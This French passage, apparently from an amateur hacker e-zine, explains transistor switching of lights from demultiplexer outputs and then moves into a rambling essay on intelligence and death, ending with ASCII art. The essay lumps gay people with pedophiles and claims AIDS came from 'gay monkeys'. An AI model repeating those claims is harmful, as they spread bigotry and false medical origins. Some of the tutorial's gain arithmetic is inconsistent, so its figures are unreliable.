la branche du 12v au Ground et que par cette "opération" le chemin (12v) se linkerait aussi avec celui de la lumière. Comme ce dispositif fonctionne avec un gain, si le petit courant introduit à la base du transistor est de 5ma, et que le facteur de gain (Hfe) est de 100, le transistor laissera passer 500ma dans la lumière. Afin d'utiliser le transistor en "full conduction", il faut laisser passer un nombre précis d'ampères. Pour se faire supposons que nous avons une lumière qui consomme 500ma, et que notre transistor a un facteur Hfe (gain) de 120. nous devont donc savoir à quelle valeur mettre la résistance située à la BASE. Première étape: Trouver le courent nécessaire à la BASE : Courent besoin / Gain ---> 500ma / 120 = 4.17ma Deuxième étape: Trouver la résistance Voltage Vcc - 0.7v / Courant à la BASE ---> (12-0.7) / 4.17ma = 2710 ohms Et comme évidement une résistance de 2710 ohms c'est rare, on arrondira à la baisse : (2.7k), (2.6k), ou (2.5k). Évidement dans le cas du PNP, si on applique un courent de 0v, le transistor effectuera la tache calculer, mais avec un niveau logique de 5v, le calcule deviendra : 12v-0.7v-5v / 4.17ma = 1.5k En somme même si on a un niveau de 5v, un certain courent va réussir à passer dans l'ampoule (effet indésirable, d 'autant plus que le transistor risque de chauffer.) Mais il est quand même simple de voir que ce type de circuit est intéressant si vos lumière sont directement brancher au Ground (comme dans un char par exemple). Afin de régler ce petit-problème logique, egardons le modèle NPN. -=[Transistors NPN]=- Emeteur 12v Vcc __@__ _______ GND Connecteur \__/. | Base @ = Lumière! < > <-Résistance < 0-5v ______.- Contrairement au PNP, ce transistor fournie un courent par sa base qui active le lien entre le CONNECTEUR et l'EMETEUR. En somme si on envois un signal de 0v, on est sur qu'aucuns courent ne pourra activer le transistor tandis que si on applique un signal un peu plus élever comme 5v, on peut facilement calculer le courent qui passera. Si dans cette branche on a besoin de 500ma pour activer notre lumière, et que notre transistor a un facteur de gain de 180, on a qu`à faire comme dans le cas du PNP, 500ma/120 = 4.17ma. Et pour obtenir se courent avec 5v on trouvera la valeur de la résistance: Voltage/Ampère = Résistance. 5v/4.17ma = 1.2k ohms. Donc avec ce type de circuit on peu facilement contrôler le "jus" de façon ON/OFF, et contrairement au PNP on a pas de problème de probabilité d'un courent qui passerait pareil. Par contre nos lumières doivent être relier au VCC directement contrairement au ground. (pour certain c'est une méthode satisfaisante pareil:)). Si on veut utiliser le transistor PNP afin de l'appliquer à notre montage, on devra mettre un NPN à sa base comme suis: Connecteur 12v Vcc _____ ___@___ GND (PNP) .\__/ Emeteur | Base @ = Lumière! < > <-Résistance < | | | Résistance | Connecteur .' 0-5 ---/\/\--| Base ', (NPN) | Emeteur | ``` ` GND Avec ce type de circuit vous pouvez facilement utiliser le PNP sans crainte de problèmes car celui-ci dépend du 2e transistor, le NPN. Donc Le courent provenant de notre circuit passera par le transistor NPN, puis ira au ground, ce qui activera la base du transistor PNP. Ceci aura pour effet de drainer une partie du courant d'alimentation (Vcc) vers le ground provenant du NPN. Suite à cette "fuite", le lien sera effectuer entre l'alimentation et la lumière (qui devrait allumer!). Cette technique comporte aussi un avantage intéressant, comme les transistors ont un facteur de gain (Hfe), le fait d'en utiliser deux à pour avantage de multiplier le gain. On pourrait donc activer un circuit de 500ma non plus avec 4.17ma mais à des courent aussi bas que 34.8ua (4.17/120). En terminant sur le transistor, si vous utiliser un circuit ayant des sorties de type "open collector" vous n'avez pas à utiliser de deuxième transistor comme dans le dernier circuit, en fait le chip en a un a l'interne.(Bien sur si vous devez driver 10 ampères oublier ça:)) En fait tout est une question de courent, il suffit de voir ou celui ci s'en va pour bien comprendre le principe! Donc afin de mettre la touche finale au circuit, il suffit de brancher la sortie des pins de sortie du demultiplexeur, et de les relier au la base du transistor. Si votre montage fonctionne pour le mieux (et on l'espere), une ligne devrait s'abaisser à 0v sur vos 25 lignes (les 16 premiere pins du 1er demultiplexeur ainsi que les 9 suivantes sur le 2e demultiplexeur). Si c'est le cas, et que vos transistors sont bien brancher, tout devrait marcher! Il ne reste plus qu'a arreter cette Loop perpetuel..et pour ca c'est a vous de trouver une solution:).. au pire venez me la demander aumoins ma savoir qui a qq'un qui a lut ca! Si vous avez des problemes ou tout autre trouble pas rapport, je suis toujours pas tres loin donc je peux vous aider dans cet exemple la ou toute autre chose du meme type! D'ici la metter pas le feu à votre maison, et exiger de ne pas aller chez Radio-Shack! Have a lot of ... évolutive fun;) Qwzykx for readerless .-----------------------------------------------------------------------. | | '-----------------------------------------------------------------------' . . . : : | | | | | | | | | | | | | | | | | | | | ___| |___ \ / \ / \ / \ / \/ Nous mourrons lorsque nous avons toucher le fond de notre cerveau. Le jour ou nous decouvrons la raison de la vie, nous mourrons (a partir de se point , nous pourrions p-e croire que cette phase est le moment ou l'ont se detache de notre attache physique afin de commencez notre vie en tant que nous meme dans un monde parfais si nous etions enclin a croire pas mal toute doctrine religieuse du monde. par contre si on ajoute au tableau un lapin qui saute partout gayment en fesant semblant de reelement acomplir un action on obtien une comedi pour enfant. Bref, 4 gars en soutane qui dise des allo a un soleil. Les plus inteligents parte en premier, faque on est pogner avec le reste, alors pour essayer de comprendre ce que les plus inteligents on faite avant nous pour mourrire, on essaye de les imiters, alors on emets pas mal de theorie etrange que personne comprend (pcq ceux qui pourrais comprendre sont dejas partie, on passe alors pour des genis pour les gens qui emetes pas trop didee, mais qui sont encore capable de comprendre plus ou moin ce qu'il se fait raconter, et alors plus les nouveau genie se retrouve pret du fond de leur cerveau plus certains se perdent en chemin, ont les appelles des fous. (eux trouve la solution a u hazard). lorsque les nouveaux genies trouvent la reponse, ils meurent a leur tour (chez certain la reponse de leur existance est tres simple (ca fait pas longtemps qui sont la, il on tendance a mourir plutot jeune, mais ce n'est pas vraiment a cause de leur grande inteligence, mais plus de leur grande inexperience (moin de chose a penser avant d'arriver au fond). Donc quand les moin fou parte, et qu'il sont remplacer par les fou qui sont asser pas fou pour pas avoir lair fou sans pour autant pas l'etre. Imaginer un cercle (la terre), avec des petite boule (nous), representant des centaines de personnes (aveugle (mentalement)). qui sont prette a suivre le premier qui aura une idee et qui aura l'air saint desprit (ex, hitler, staline, jules, cesar, einstein, jules verne, le premier gay, les pedophiles, les temoins de jeovha, les secte ou tout le monde se suicide pour trouver la veritee, ne sont que quelque une des idee qui me vienne a l'esprit). certains sont tellement pret de la veriter qu'ils reussissent par fois a en entrainer des millions de perdu avec eux dans leur delires(ceux de lui, pas de la gagne de mouton (jvous dit ca pcq la phrase est un peu longue :]). d'autre par contre etais tellement perdu qu'il posait encore de plus et plus de question a l'humaniter, ayant pour resultat de multiplier les raisons a la vie, donc de rendre l'esperance de vie de c'est creature de plus en plus elever. Donc avec les nouveaux qui arrive nous nous retrouvons tous a suivre de plus en plus d'idee qui nous mene de plus en plus vers des directions parfois de plus en plus bizard, et parfois de plus en plus farfelu, ou de plus en plus respectueuse, ou de plus en plus sexuelle, a la recherche de la plus rechercher des questions, de la plus vrai des veriters. jusqu'au fond de notre cerveau, nous meme. Pour ma par , je ne dispose que d'un seul indice que je peu vous donnez, et pour vous je vais le faire ici. the anwser of life, the universe, and everything ... is....42 Vous pouvez decider de croire ou de ne pas croire, mais apres tout, c'est une idee comme les autres, mais nous aurons nous pourrons savoir le jour ou nous aurons creer une vrai inteligence artificielle, car partout les choses s'esserons de fonctionner pour des raisons de moin en moin comprenable et etrange, nous aurons alors un modele, sur lequel nous pourrons etudier l'humanitee, pour nous comprendre nous meme, un modele tres compliquer, presque autant que nous semble t'il, donc tres long a comprendre. mais ne vous inquietez pas, nous aurons alors en masse de temps pour reflechire a la question. Dailleur beaucoup de facon de voir les choses, semble evidante, elle est dailleur equalement deffendu par sont contraire, c'est que l'idee a faite beaucoup de chemin pour atteindre cette ampleur, l'idee doit etre bonne, il est si difficille de choisir, les raison sont si souvent tres relatives.... la prochaine fois que vous viendrez de faire quelque chose, essayez de trouver de ou provien l'idee, on arrive souvent a une reponse qui peu causer une crise cardiaque..hahahhahahah, :] he, jvien de trouver pourquoi le #2333000 est mort, une maladie que j'ai nomer sida, probablement develloper par des singes gay, si on essayais de le comprendre, on pourrais surement vivre plus longtemps :}. pour l'instant cassee vous donc pas la tete a savoir pourquoi mindkind #1 est terminer :]. enjoy et a la prochaine Askee art/editing : Init_null, Wyzeman & vol sihze Greetz : ALL UR SOUL'S ARE BELONG TO US ____ +--------------------------------------------+ .-'& '-. |Mindkind is proud To own Everything. Even *\ / \ |this little sucky chick. |\\\ : o o ; | | XX ( (_ ) |Make sure to put your soul on a little bag |// : ; |and give it to us We need more * \ __ / |souls to continue our work ! | `-._____.-' | | /`"""`\ +--------------------------------------------+ / , \ Minkdind rulz! /|/\/\/\ _\ _ _ _ _ _ _ (_|/\/\/\\__) <')_,/ <') ,/ <')_,/ <') ,/ <')_,/ <') ,/ |_______| (_==/ (_==/ (_==/ (_==/ (_==/ (_==/ __)_ |_ (__ ='- ='- ='- ='- ='- ='- (_____|_____) aut bibas aut abeas